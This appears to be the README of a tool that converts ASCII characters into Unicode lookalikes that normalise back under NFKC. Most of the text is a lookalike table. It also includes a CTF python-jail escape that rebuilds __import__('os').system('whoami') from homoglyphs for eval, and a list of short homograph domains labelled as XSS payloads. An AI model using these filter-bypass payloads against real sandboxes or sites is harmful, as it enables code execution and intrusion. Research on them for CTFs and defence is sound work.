(W) 	 87 	 ['ᵂ', 'Ⓦ', '㎺', '㎻', '㎼', '㎽', '㎾', '㎿', '㏝', 'W', '𝐖', '𝑊', '𝑾', '𝒲', '𝓦', '𝔚', '𝕎', '𝖂', '𝖶', '𝗪', '𝘞', '𝙒', '𝚆', '🄦', '🄮', '🅆', '🅏']
(b) 	 98 	 ['ᵇ', '⒝', 'ⓑ', '㍴', '㏔', '㏝', 'b', '𝐛', '𝑏', '𝒃', '𝒷', '𝓫', '𝔟', '𝕓', '𝖇', '𝖻', '𝗯', '𝘣', '𝙗', '𝚋']
(e) 	 101 	 ['ᵉ', 'ₑ', 'ℯ', 'ⅇ', '⒠', 'ⓔ', '㋍', '㋎', 'e', '𝐞', '𝑒', '𝒆', '𝓮', '𝔢', '𝕖', '𝖊', '𝖾', '𝗲', '𝘦', '𝙚', '𝚎']
(g) 	 103 	 ['ᵍ', 'ℊ', '⒢', 'ⓖ', '㋌', '㋍', '㎍', '㎎', '㎏', '㏆', '㏒', '㏿', 'g', '𝐠', '𝑔', '𝒈', '𝓰', '𝔤', '𝕘', '𝖌', '𝗀', '𝗴', '𝘨', '𝙜', '𝚐']
(k) 	 107 	 ['ᵏ', 'ₖ', '⒦', 'ⓚ', '㎄', '㎉', '㎏', '㎑', '㎘', '㎞', '㎢', '㎦', '㎪', '㎸', '㎾', '㏀', '㏆', '㏏', 'k', '𝐤', '𝑘', '𝒌', '𝓀', '𝓴', '𝔨', '𝕜', '𝖐', '𝗄', '𝗸', '𝘬', '𝙠', '𝚔']
(m) 	 109 	 ['ᵐ', 'ₘ', 'ⅿ', '⒨', 'ⓜ', '㍷', '㍸', '㍹', '㎃', '㎎', '㎖', '㎙', '㎚', '㎛', '㎜', '㎜', '㎝', '㎞', '㎟', '㎟', '㎠', '㎡', '㎢', '㎣', '㎣', '㎤', '㎥', '㎦', '㎧', '㎨', '㎳', '㎷', '㎽', '㏂', '㏐', '㏔', '㏕', '㏖', '㏘', '㏞', '㏟', 'm', '𝐦', '𝑚', '𝒎', '𝓂', '𝓶', '𝔪', '𝕞', '𝖒', '𝗆', '𝗺', '𝘮', '𝙢', '𝚖']
(p) 	 112 	 ['ᵖ', 'ₚ', '⒫', 'ⓟ', '㍶', '㎀', '㎊', '㎰', '㎴', '㎺', '㏘', 'p', '𝐩', '𝑝', '𝒑', '𝓅', '𝓹', '𝔭', '𝕡', '𝖕', '𝗉', '𝗽', '𝘱', '𝙥', '𝚙']
(t) 	 116 	 ['ᵗ', 'ₜ', '⒯', 'ⓣ', '㏏', 'ſt', 'st', 't', '𝐭', '𝑡', '𝒕', '𝓉', '𝓽', '𝔱', '𝕥', '𝖙', '𝗍', '𝘁', '𝘵', '𝙩', '𝚝']
(u) 	 117 	 ['ᵘ', 'ᵤ', '℆', '⒰', 'ⓤ', 'u', '𝐮', '𝑢', '𝒖', '𝓊', '𝓾', '𝔲', '𝕦', '𝖚', '𝗎', '𝘂', '𝘶', '𝙪', '𝚞']
(v) 	 118 	 ['ᵛ', 'ᵥ', 'ⅳ', 'ⅴ', 'ⅵ', 'ⅶ', 'ⅷ', '⒱', 'ⓥ', '㏜', 'v', '𝐯', '𝑣', '𝒗', '𝓋', '𝓿', '𝔳', '𝕧', '𝖛', '𝗏', '𝘃', '𝘷', '𝙫', '𝚟']
(c) 	 99 	 ['ᶜ', '℀', '℅', '℆', 'ⅽ', '⒞', 'ⓒ', '㍶', '㎈', '㎉', '㎝', '㎠', '㎤', '㏄', '㏄', '㏅', 'c', '𝐜', '𝑐', '𝒄', '𝒸', '𝓬', '𝔠', '𝕔', '𝖈', '𝖼', '𝗰', '𝘤', '𝙘', '𝚌']
(f) 	 102 	 ['ᶠ', '⒡', 'ⓕ', '㎙', 'ff', 'ff', 'fi', 'fl', 'ffi', 'ffi', 'ffl', 'ffl', 'f', '𝐟', '𝑓', '𝒇', '𝒻', '𝓯', '𝔣', '𝕗', '𝖋', '𝖿', '𝗳', '𝘧', '𝙛', '𝚏']
(`) 	 96 	 ['`', '`']
(.) 	 46 	 ['․', '‥', '‥', '…', '…', '…', '⒈', '⒉', '⒊', '⒋', '⒌', '⒍', '⒎', '⒏', '⒐', '⒑', '⒒', '⒓', '⒔', '⒕', '⒖', '⒗', '⒘', '⒙', '⒚', '⒛', '㏂', '㏂', '㏇', '㏘', '㏘', '︙', '︙', '︙', '︰', '︰', '﹒', '.', '🄀']
(!) 	 33 	 ['‼', '‼', '⁈', '⁉', '︕', '﹗', '!']
(?) 	 63 	 ['⁇', '⁇', '⁈', '⁉', '︖', '﹖', '?']
(0) 	 48 	 ['⁰', '₀', '⅒', '↉', '⑩', '⑳', '⑽', '⒇', '⒑', '⒛', '⓪', '㉚', '㊵', '㊿', '㋉', '㍘', '㍢', '㍬', '㏩', '㏳', '㏽', '0', '𝟎', '𝟘', '𝟢', '𝟬', '𝟶', '🄀', '🄁']
(5) 	 53 	 ['⁵', '₅', '⅕', '⅖', '⅗', '⅘', '⅚', '⅝', '⑤', '⑮', '⑸', '⒂', '⒌', '⒖', '㉕', '㉟', '㊺', '㊿', '㋄', '㍝', '㍧', '㏤', '㏮', '㏸', '5', '𝟓', '𝟝', '𝟧', '𝟱', '𝟻', '🄆']
(6) 	 54 	 ['⁶', '₆', '⅙', '⅚', '⑥', '⑯', '⑹', '⒃', '⒍', '⒗', '㉖', '㊱', '㊻', '㋅', '㍞', '㍨', '㏥', '㏯', '㏹', '6', '𝟔', '𝟞', '𝟨', '𝟲', '𝟼', '🄇']
(7) 	 55 	 ['⁷', '₇', '⅐', '⅞', '⑦', '⑰', '⑺', '⒄', '⒎', '⒘', '㉗', '㊲', '㊼', '㋆', '㍟', '㍩', '㏦', '㏰', '㏺', '7', '𝟕', '𝟟', '𝟩', '𝟳', '𝟽', '🄈']
(8) 	 56 	 ['⁸', '₈', '⅛', '⅜', '⅝', '⅞', '⑧', '⑱', '⑻', '⒅', '⒏', '⒙', '㉘', '㊳', '㊽', '㋇', '㍠', '㍪', '㏧', '㏱', '㏻', '8', '𝟖', '𝟠', '𝟪', '𝟴', '𝟾', '🄉']
(9) 	 57 	 ['⁹', '₉', '⅑', '⑨', '⑲', '⑼', '⒆', '⒐', '⒚', '㉙', '㊴', '㊾', '㋈', '㍡', '㍫', '㏨', '㏲', '㏼', '9', '𝟗', '𝟡', '𝟫', '𝟵', '𝟿', '🄊']
(+) 	 43 	 ['⁺', '₊', '﬩', '﹢', '+']
(=) 	 61 	 ['⁼', '₌', '⩴', '⩵', '⩵', '⩶', '⩶', '⩶', '﹦', '=']
(() 	 40 	 ['⁽', '₍', '⑴', '⑵', '⑶', '⑷', '⑸', '⑹', '⑺', '⑻', '⑼', '⑽', '⑾', '⑿', '⒀', '⒁', '⒂', '⒃', '⒄', '⒅', '⒆', '⒇', '⒜', '⒝', '⒞', '⒟', '⒠', '⒡', '⒢', '⒣', '⒤', '⒥', '⒦', '⒧', '⒨', '⒩', '⒪', '⒫', '⒬', '⒭', '⒮', '⒯', '⒰', '⒱', '⒲', '⒳', '⒴', '⒵', '㈀', '㈁', '㈂', '㈃', '㈄', '㈅', '㈆', '㈇', '㈈', '㈉', '㈊', '㈋', '㈌', '㈍', '㈎', '㈏', '㈐', '㈑', '㈒', '㈓', '㈔', '㈕', '㈖', '㈗', '㈘', '㈙', '㈚', '㈛', '㈜', '㈝', '㈞', '㈠', '㈡', '㈢', '㈣', '㈤', '㈥', '㈦', '㈧', '㈨', '㈩', '㈪', '㈫', '㈬', '㈭', '㈮', '㈯', '㈰', '㈱', '㈲', '㈳', '㈴', '㈵', '㈶', '㈷', '㈸', '㈹', '㈺', '㈻', '㈼', '㈽', '㈾', '㈿', '㉀', '㉁', '㉂', '㉃', '︵', '﹙', '(', '🄐', '🄑', '🄒', '🄓', '🄔', '🄕', '🄖', '🄗', '🄘', '🄙', '🄚', '🄛', '🄜', '🄝', '🄞', '🄟', '🄠', '🄡', '🄢', '🄣', '🄤', '🄥', '🄦', '🄧', '🄨', '🄩']
()) 	 41 	 ['⁾', '₎', '⑴', '⑵', '⑶', '⑷', '⑸', '⑹', '⑺', '⑻', '⑼', '⑽', '⑾', '⑿', '⒀', '⒁', '⒂', '⒃', '⒄', '⒅', '⒆', '⒇', '⒜', '⒝', '⒞', '⒟', '⒠', '⒡', '⒢', '⒣', '⒤', '⒥', '⒦', '⒧', '⒨', '⒩', '⒪', '⒫', '⒬', '⒭', '⒮', '⒯', '⒰', '⒱', '⒲', '⒳', '⒴', '⒵', '㈀', '㈁', '㈂', '㈃', '㈄', '㈅', '㈆', '㈇', '㈈', '㈉', '㈊', '㈋', '㈌', '㈍', '㈎', '㈏', '㈐', '㈑', '㈒', '㈓', '㈔', '㈕', '㈖', '㈗', '㈘', '㈙', '㈚', '㈛', '㈜', '㈝', '㈞', '㈠', '㈡', '㈢', '㈣', '㈤', '㈥', '㈦', '㈧', '㈨', '㈩', '㈪', '㈫', '㈬', '㈭', '㈮', '㈯', '㈰', '㈱', '㈲', '㈳', '㈴', '㈵', '㈶', '㈷', '㈸', '㈹', '㈺', '㈻', '㈼', '㈽', '㈾', '㈿', '㉀', '㉁', '㉂', '㉃', '︶', '﹚', ')', '🄐', '🄑', '🄒', '🄓', '🄔', '🄕', '🄖', '🄗', '🄘', '🄙', '🄚', '🄛', '🄜', '🄝', '🄞', '🄟', '🄠', '🄡', '🄢', '🄣', '🄤', '🄥', '🄦', '🄧', '🄨', '🄩']
(/) 	 47 	 ['℀', '℁', '℅', '℆', '/']
(C) 	 67 	 ['ℂ', '℃', 'ℭ', 'Ⅽ', 'Ⓒ', '㏆', '㏇', 'C', '𝐂', '𝐶', '𝑪', '𝒞', '𝓒', '𝕮', '𝖢', '𝗖', '𝘊', '𝘾', '𝙲', '🄒', '🄫', '🄭', '🄲', '🅏', '🅪']
(F) 	 70 	 ['℉', 'ℱ', '℻', 'Ⓕ', '㎊', '㎋', '㎌', 'F', '𝐅', '𝐹', '𝑭', '𝓕', '𝔉', '𝔽', '𝕱', '𝖥', '𝗙', '𝘍', '𝙁', '𝙵', '🄕', '🄵']
(Q) 	 81 	 ['ℚ', 'Ⓠ', 'Q', '𝐐', '𝑄', '𝑸', '𝒬', '𝓠', '𝔔', '𝕼', '𝖰', '𝗤', '𝘘', '𝙌', '𝚀', '🄠', '🅀']
(S) 	 83 	 ['℠', 'Ⓢ', '㏜', 'S', '𝐒', '𝑆', '𝑺', '𝒮', '𝓢', '𝔖', '𝕊', '𝕾', '𝖲', '𝗦', '𝘚', '𝙎', '𝚂', '🄢', '🄪', '🅂', '🅌', '🅍', '🅍']
(X) 	 88 	 ['℻', 'Ⅸ', 'Ⅹ', 'Ⅺ', 'Ⅻ', 'Ⓧ', 'X', '𝐗', '𝑋', '𝑿', '𝒳', '𝓧', '𝔛', '𝕏', '𝖃', '𝖷', '𝗫', '𝘟', '𝙓', '𝚇', '🄧', '🅇']
(V) 	 86 	 ['Ⅳ', 'Ⅴ', 'Ⅵ', 'Ⅶ', 'Ⅷ', 'Ⓥ', 'ⱽ', '㋎', '㍵', '㎴', '㎵', '㎶', '㎷', '㎸', '㎹', '㏞', 'V', '𝐕', '𝑉', '𝑽', '𝒱', '𝓥', '𝔙', '𝕍', '𝖁', '𝖵', '𝗩', '𝘝', '𝙑', '𝚅', '🄥', '🅅', '🅊', '🅋', '🅎']
(q) 	 113 	 ['⒬', 'ⓠ', '㏃', 'q', '𝐪', '𝑞', '𝒒', '𝓆', '𝓺', '𝔮', '𝕢', '𝖖', '𝗊', '𝗾', '𝘲', '𝙦', '𝚚']
(Y) 	 89 	 ['Ⓨ', 'Y', '𝐘', '𝑌', '𝒀', '𝒴', '𝓨', '𝔜', '𝕐', '𝖄', '𝖸', '𝗬', '𝘠', '𝙔', '𝚈', '🄨', '🅈']
(:) 	 58 	 ['⩴', '⩴', '︓', '﹕', ':']
(,) 	 44 	 ['︐', '﹐', ',', '🄁', '🄂', '🄃', '🄄', '🄅', '🄆', '🄇', '🄈', '🄉', '🄊']
(_) 	 95 	 ['︳', '︴', '﹍', '﹎', '﹏', '_']
({) 	 123 	 ['︷', '﹛', '{']
(}) 	 125 	 ['︸', '﹜', '}']
([) 	 91 	 ['﹇', '[']
(]) 	 93 	 ['﹈', ']']
(#) 	 35 	 ['﹟', '#']
(&) 	 38 	 ['﹠', '&']
(*) 	 42 	 ['﹡', '*']
(-) 	 45 	 ['﹣', '-']
(<) 	 60 	 ['﹤', '<']
(>) 	 62 	 ['﹥', '>']
(\) 	 92 	 ['﹨', '\']
($) 	 36 	 ['﹩', '$']
(%) 	 37 	 ['﹪', '%']
(@) 	 64 	 ['﹫', '@']
(") 	 34 	 ['"']
(') 	 39 	 [''']
(^) 	 94 	 ['^']
(|) 	 124 	 ['|']
(~) 	 126 	 ['~']

convert a normal string to homograph string(NFKC mode)

  • case 1
print(gen_unicode_str("import"))

output:

𝗂ₘ𝗉𝗈ʳ𝗍
  • case 2

use in python eval

# N-CTF 2019 python_jail
# should run many times to find valid payload
code = f"__{gen_unicode_str('import')}__('os').{gen_unicode_str('system')}('whoami')"
eval(code)

output:

h13t0ry

generate tiny XSS domain

gen_funny_domain()

output:

real_domain 	 XSS_payload 	 length
ij.au 	ij.㍳ 	3
ij.bar 	IJ.㍴ 	3
ij.cal 	ij.㎈ 	3
ij.cc 	IJ.㏄ 	3
ij.cd 	IJ.🄭 	3
ij.cm 	IJ.㎝ 	3
ij.dj 	ij.🆐 	3
ij.dm 	IJ.㍷ 	3
ij.dz 	IJ.DZ 	3
ij.fi 	ij.fi 	3
ij.fm 	IJ.㎙ 	3
ij.gal 	IJ.㏿ 	3
ij.gb 	IJ.㎇ 	3
ij.gy 	IJ.㏉ 	3
ij.in 	ij.㏌ 	3
ij.kg 	ij.㎏ 	3
ij.km 	IJ.㏎ 	3
ij.kw 	ij.㎾ 	3
ij.ltd 	IJ.㋏ 	3
ij.ma 	IJ.㎃ 	3
ij.mc 	ij.🅪 	3
ij.md 	IJ.🅫 	3
ij.mg 	ij.㎎ 	3
ij.mil 	ij.㏕ 	3
ij.ml 	IJ.㎖ 	3
ij.mm 	IJ.㎜ 	3
ij.mr 	ij.🅬 	3
ij.ms 	IJ.㎳ 	3
ij.mv 	IJ.🅋 	3
...

ref